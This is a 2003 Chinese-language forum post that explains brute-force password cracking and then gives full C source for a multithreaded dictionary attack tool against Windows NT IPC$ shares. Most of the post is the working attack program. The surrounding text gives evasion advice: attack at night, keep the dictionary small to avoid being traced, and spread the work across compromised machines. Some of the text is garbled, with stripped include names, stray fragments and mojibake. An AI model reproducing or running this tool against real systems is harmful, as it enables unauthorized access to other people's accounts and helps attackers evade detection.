[这个贴子最后由bigblock在 2003/10/29 05:08pm 第 1 次编辑]
一、穷举法理论
穷举算法有点像数学上说的"完全归纳法",在问题答案可能的全部解集内逐一查
询(测试)直到找出答案为止,这种算法在密码破解中得到了广泛的应用,但该算法的缺
点是运算规模比较大,算法的"最好情况时间复杂度!
"为1,"最坏情况时间复杂度"是n,
"平均时间复杂度"是(((1+n)*n)/2)/n,另外在网络环境里进行远程破解还要考虑连接
到远程机器所需花费的时间。
使用穷举法进行密码破解的伪C代码算法大致的模型是这样的:
设:flag和done为BOOL型变量,pass为存放当前口令字串的char型数组变量,当flag为
TRUE时为找到密码,done为TRUE时为使用完了全部字典口令单词。
void docrackpassword(void *para)
{
char pass[MAX_PASSLEN];
do{
生成或从文件读取一个口令字串放入pass;
进行一次本地或远程密码测试(使用pass里的口令字串);
if(密码正确)flag=TURE;
if(口令字典中的字串全部用完或已经生成完了全部口令字串) done=TRUE;
}while(!flag&&!done)
if(flag) printf("Yeah! Password is %s\n",pass);
else
printf("Password Not Found\n");
}//end docrackpassword
在一些国家有专门的高速破译设备来运行这些程序,这些机器大都有x个处理芯片、
超大容量内存,一些常用的指令如:mov,inc,sub,add等都使用硬件实现,而非普通PC机器
上使用!
的"微指令"技术,如IBM为美军方设计的"飓风"破!
译机就是
一个典型的破译机器。
举个例子:
设:
有一个口令字典,其中有30万个口令字符串,服务器的口令包涵在口令字典内,穷举程序
每连接到服务器进行一次口令测试需要5秒,则最好情况是我们口令字典中的第一个字串就
是正确的,那么时间复杂度即为5秒,最坏的情况是第30万个口令字串才是正确的,则时间复
杂度为300000*5=1500000(秒)=25000(分钟)=416小时>17天,如果在这17天内服务端没有更
改密码还好一点,如果密码改成了我们已经测试使用过的字串,那么这一次的身份攻击就会
失败。
像这样的身份攻击,选取的攻击时间(多半在夜里,是常人休息的时间)和口令字典的设
计关系到攻击的成败,一般口令字典的容量不应过大,但必须很典型(包括很多生日,电话号
码,或是比较有意义的口令字串,成败于否都应该在5到7个小时内完成),否则可能会被跟踪
到,从而产生一些意想不到的事.
另外在网络环境里将密码(口令)字串进行分段,然后进行多机(其中可能有一些是被你
控制的机器,或是你朋友们的机器)"分布式并行计算"可以大大的提高解密的速度.
二、应用实!
例: Windows NT IPC$暴力密码破解程序
首先应该获得远程NT机器的用户列表(可使用工具,或是写一个探测程序:参见refdom
的相关资料),可使用NTScan或XScan,如果使用这样的工具进行的弱口令测试不成功,那么
Down一个好用的口令字典,再用我的程序进行一下"爆破"试试吧!
源程序如下:
#define _MT//多线程支持
#include //printf,fopen...
#include //Sleep...
#include //strcpy...
#include //getch...
#include //_beginthread...
#include //WaitForSingleObject,EnterCriticalSection...
#include //WNetAddConnection2...
#pragma comment(lib,"libcmt.lib")//连接多线程C运行库
#pragma comment(lib,"mpr.lib")//连接Windows网络函数库
FILE *dic=NULL;
int threads=0;
char server[100]={0},
user[100]={""};
__declspec(thread) char password[20];//使用线程局部存储
CRITICAL_SECTION beswap;BOOL found=FALSE,done=FALSE;
NETRESOURCE NET;
DWORD re!
t;
void docrackNT(void *param)
{
while(1)
{
EnterCriticalSection(&beswap);
if(!found&&!done)
{
if(!feof(dic))
fscanf(dic,"%s",password);
else//如果用完了口令字典中的全部字串
{
done=TRUE;
LeaveCriticalSection(&beswap);
return;
}
printf("Testting Password %-20s\r",password);
ret = WNetAddConnection2(&NET,(const char *)&password,(const char *)&user,0);
if(ret==0)//如果找到正确的密码
{
printf("Found Password Wait For Threads to quit.....\n");
found=TRUE;
WNetCancelConnection2(server,0,TRUE);//如果连接成功则断开,以免再次登录时出现冲突
}
}
else//如果用完了口令字典或是找到密码
{
LeaveCriticalSection(&beswap);
return;
}
//如果未用完口令字典,并且未找到正确口令
LeaveCriticalSection(&beswap);
Sleep(20);
}
}
void show(void)
{
system("cls");
printf("**********************************************\n");
printf("*****[ &!
nbsp; Crack NT Password Ver 1.0 ]****\n");
printf("*****[ Code By Yellow ]****\n");
printf("*****[ Email:wjj2748_cn@sina.com.cn ]****\n");
printf("*****[ Date: 2003-09-13 ]****\n");
printf("**********************************************\n");
}
int main(int argc,char **argv)
{
unsigned long hHandle;
show();
if(argc!=5)
{
printf("\nCommand Line:\nCrackNT "
"\n\tServer: Server Name or IP Address"
"\n\tUser: User Name for Crack Password"
&nb!
sp; "\n\tDoc: Password Dict!
ionary&q
uot;
"\n\tThreads: Max Threads\n\a");
getch();
exit(-1);
}
threads=atoi(argv[4]);
strcpy(user,argv[2]);
strcpy(server,argv[1]);
sprintf(server,"\\\\%s\\IPC$",argv[1]);//可以使用Admin$...等
NET.lpLocalName = NULL;
NET.lpProvider = NULL;
NET.dwType = RESOURCETYPE_ANY;
NET.lpRemoteName = (char*)&server;
if((dic=fopen(argv[3],"r"))==NULL)
{
printf("Can't Open Password Dictionary %s\a\n",argv[3]);
exit(-1);
}
InitializeCriticalSection(&beswap);
printf("\nServer:%s\nUser:%s\nBegin Crack Password?(y/n):\a",argv[1],argv[2]);
if(getch()=='y')
{
printf("\nBegin Cracking Password.....\n");
while(threads)
{
if(((unsigned long)hHandle=_beginthread(docrackNT,1024,NULL))==(unsigned long)-1)
continue;
else
threads--;
}
WaitForSingleObject((HANDLE)hHandle,0xffffffff);
getch();
if(found)//found成立时为?
业矫苈?br>printf("\nPassword is %s\a\n",password);
else//否则为用完口令字典
printf("\nPassword Not Found\a\n");
}
printf("\nPress Any Key To Exit......\a\n");
getch();
DeleteCriticalSection(&beswap);
return 0;
}
最后:
在调试这个程序时,我发现在一个有趣的现象,如果能先用Guest登录远程NT机器,那么穷举时速
度飞快(可以在很短的时间内找到密码,或是用完口令字典),否则3到5秒才能测试一个密码字串(比较
慢!!)
本程序在Windows 2000 Pro 5.00.2159 SP2下,由VC++ 6.0编译并调试通过,测试服务器为Windows NT 4.0 SP6. |